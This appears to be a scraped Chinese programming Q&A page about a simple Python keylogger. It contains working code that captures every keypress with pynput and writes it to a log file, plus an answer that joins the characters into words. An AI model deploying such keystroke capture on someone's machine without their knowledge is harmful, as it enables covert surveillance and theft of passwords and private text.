【问题标题】:Simple keylogger "Problem in logging to a file"简单的键盘记录器“记录到文件的问题”
【发布时间】:2019-10-31 17:56:43
【问题描述】:

问题:

日志文件在新行中为每个字符一个接一个地保存一个字符

目标是将所有字符记录在同一行中

格式在日志中是否有问题?

代码

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

结果: 日志记录

-->在File.txt

l

o

g

g

n

g

预期结果

记录

-->在File.txt

记录

Like this output is needed

这需要什么样的格式?

【问题讨论】:

  • 您希望每行记录一个单词还是只将键入的键写为一个非常长的字符串?
  • 以单词/句子形式记录

标签: python keylogger


【解决方案1】:

这个功能是捕捉一个单词/句子

old=""
space = False
def key_log(key):
    global old
    global space

    if key=="Key.space":
        space=True

    if len(key) == 1:
        if space:
            key = old + " " + key
            space=False

        else:
            key = old + "" + key

        old = key
        print(key)
    else:
         print(key)
    logging.info(key)

使用此功能

def btn_press(key):
    #logging.info(key) 
     key_log(str(key))

结果 日志记录

-->文件.txt

l

lo

log

logg

loggi

loggin

logging

这种方式比较好还是有其他方式呢?

我们将不胜感激!

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2020-04-28
    • 1970-01-01
    • 1970-01-01
    • 2016-11-09
    相关资源
    最近更新 更多